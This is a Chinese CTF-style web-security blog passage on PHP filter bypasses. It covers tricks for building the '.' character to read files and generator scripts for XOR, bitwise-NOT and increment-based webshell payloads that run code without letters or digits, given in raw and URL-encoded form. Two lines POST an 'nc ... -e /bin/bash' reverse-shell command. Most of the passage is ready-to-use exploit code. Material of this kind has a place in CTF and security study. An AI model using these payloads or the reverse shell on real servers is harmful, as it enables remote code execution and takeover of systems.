本地测试完全可以获取,请求需要多试很多次,有1/16的纪律会获得,尝试几次就出来了。

## 获得.的骚姿势

截取自大佬总结的博客

### Math函数

我更愿意归结于math函数而不是phpversion,即便你知道phpversion函数,通过复杂的运算,你还是需要fuzz

payload:

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

1
2
3
4
5
6
7

核心思路是 : phpversion() 函数会返回当前PHP的版本好 , 然后可以用 floor() 函数取第一位的数值( 固定为 7 )

>

> highlighter- SQL
>

floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整

1
2
3
4
5
6
7

有了数字 " 7 " , 就可以通过各种数学运算拿到数字46 , 也就是ASCII字符 " . " .



highlighter- SQL

 sqrt() : 返回一个数字的平方根

 tan() : 返回一个数字的正切

 cosh() : 返回一个数字的双曲余弦

 sinh() : 返回一个数字的双曲正弦

 ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

经过上面这些步骤 , 能拿到数字 46

[![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104135836747-2035174932.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104135836747-2035174932.png)



再通过 `chr()` 函数就可以返回 ASCII 编码为 46 的字符 , 也就为 " . " , 后面的步骤就和之前一样 , 跳转到根目录 , 然后读取 index.php 文件

### localeconv() 函数

同boring_code

### crypt()函数

首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : **`crypt()`**



highlighter- Bash

crypt($str , [$salt]) : 返回一个基于标准 UNIX DES 算法或系统上其他可用的替代算法的散列字符串 .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

说起来很复杂 , 你仅需要知道它可以返回一个加密字符串

[![img](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104140011194-1991312687.png)](https://img2018.cnblogs.com/i-beta/1357258/201911/1357258-20191104140011194-1991312687.png)



多次尝试后 , 发现 " . " 会出现在加密字符串的末尾( 加密字符串的开头默认为 : " $ " ) , 然后我才想到 , `scandir(getcwd())` 不能用 , 但可以用 `scandir('.')` 啊 , 真的太菜了!

再chr(ord(strrev()))转化为.

最近又看到一个payload:

Python

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

hebrevc() 函数把希伯来文本从右至左的流转换为左至右的流,其实也是crypt的特性,只是都是反转而已.

以上获取.的两个骚姿势截取自于下面的大佬博客对于此题的总结。

上海赛的第二题是6月安恒杯的一道web原题。

官方解是:url双重编码绕过,通过ssrf结合gopher完成SMTP污染从而包含日志进行RCE

大佬的解:不同的是将邮件正常发给www-data的话正好web可读,通过包含www-data的邮件完成包含一句话进行RCE

## 0x20无字母数字异或运算绕过

异或运算poc

```php
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET["cmd"];
$result1 = "";
$result2 = "";

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo "异或运算第一部分: ".$result1;
echo "<br>";
echo "异或运算第二部分: ".$result2;

PHP5

1
asset  异或结果   "!((%)("^"@[[@[\"   需要加个转义字符   "!((%)("^"@[[@[\\"
1
_POST  异或结果   "!+/(("^"~{`{|"
1
?cmd=$_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___['_']);
1
?cmd=%24_%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%3D%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%3D%24%24__%3B%24_(%24___%5B'_'%5D)%3B

image-20250427205028463

1
?cmd=%24_%3D%22%2B(%2B).%26%2F%22%5E%22%5B%40%5B%40%40%40%40%22%3B%24_()%3B
1
?cmd=$_="+(+).&/"^"[@[@@@@";$_();

phpinfo();

image-20250427205615557

PHP7

1
`$_POST[_]`;     
1
_POST   ->   "!+/(("^"~{`{|"
1
?cmd=$_="!+/(("^"~{`{|";$__=$$_;`$__[_]`;

urlencode

1
?cmd=%24_%3D%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24__%3D%24%24_%3B%60%24__%5B_%5D%60%3B

post提交

1
_=nc 服务器ip 端口号 -e /bin/bash

进行反弹shell

image-20250427210326979

0x21无字母数字取反绕过

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
$shell = $_GET['cmd'];
$result = "";
$arr =array();
$word = "一乙二十丁厂七卜人入八九几儿了力乃刀又三于干亏士工土才寸下大丈与万上小口巾山千乞川亿个勺久凡及夕丸么广亡门义之尸弓己已子卫也女飞刃习叉马乡丰王井开夫天无元专云扎艺
木五支厅不太犬区历尤友匹车巨牙屯比互切瓦止少日中冈贝内水见午牛手毛气升长仁什片仆化仇币仍仅斤爪反介父从今凶分乏公仓月氏勿欠风丹匀乌凤勾文六方火为斗忆订计户认心尺引
丑巴孔队办以允予劝双书幻玉刊示末未击打巧正扑扒功扔去甘世古节本术可丙左厉右石布龙平灭轧东卡北占业旧帅归且旦目叶甲申叮电号田由史只央兄叼叫另叨叹四生失禾丘付仗代仙们
仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕刁丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
$arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
for ($y=0;$y<count($arr);$y++)
{
$k = $arr[$y];
if ($shell[$x] == ~($k{1}))
{
$result .= $k;
$result1 .= "%".bin2hex($k{1});
break;
}
}
}
echo "通过在URL内GET方法提交?cmd=\"具体命令\"";
echo "<br>";
echo "字符串:".$result;
echo "<br>";
echo "URL编码:".$result1;

PHP5

1
2
3
assert
字符串:极区区皮十勺
URL编码:%9e%8c%8c%9a%8d%8b
1
2
3
_POST
字符串:码寸小欠立
URL编码:%a0%af%b0%ac%ab
1
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);

不需要再进行url编码

image-20250427211506494

PHP7

1
?cmd=$_=~("%a0%af%b0%ac%ab");$__=$$_;`$__[_]`;

post提交

1
_=nc 服务器ip 端口号 -e /bin/bash

image-20250427211921459

0x22无字母数字自增绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){
$i = 0;
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$_ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1);
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}

function POC2($cmd){
$i = 0;
echo '$____ = "_";$__=$___;';
$POC_pat1 = "\$__=\$___;";
$POC_pat2 = "\$____ .=\$__;";
while ($i<strlen($cmd)){
$str1 = $cmd[$i];
$POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if ($i<1) {
$POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat3;
}else{
$str2 = $cmd[$i-1];
if($str1==$str2){
$POC_pat5 = $POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}


if (!empty($cmd)){
$POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
echo $POC_pat7;
POC($cmd);
}
if (!empty($cmd2)){
POC2($cmd2);
}

PHP5

1
assert($_POST[_]);
1
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$$____;$_($__[_]);

urlencode

1
?cmd=%24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24%24____%3B%24_(%24__%5B_%5D)%3B

image-20250427213051453

PHP7

1
`$_POST[_]`    $___
1
2
_POST->
$_=[].'';$___=$_[$__];$__=$___;$_=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;

image-20250427214002561

image-20250427214015482

1
`$_POST[_]`
1
$_=[].'';$___=$_[$__];$__=$___;$_=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$_=$$____;`$_`;
1
?cmd=$_=[].'';$___=$_[$__];$__=$___;$_=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$_=$$____;`$_[_]`;

urlencode

1
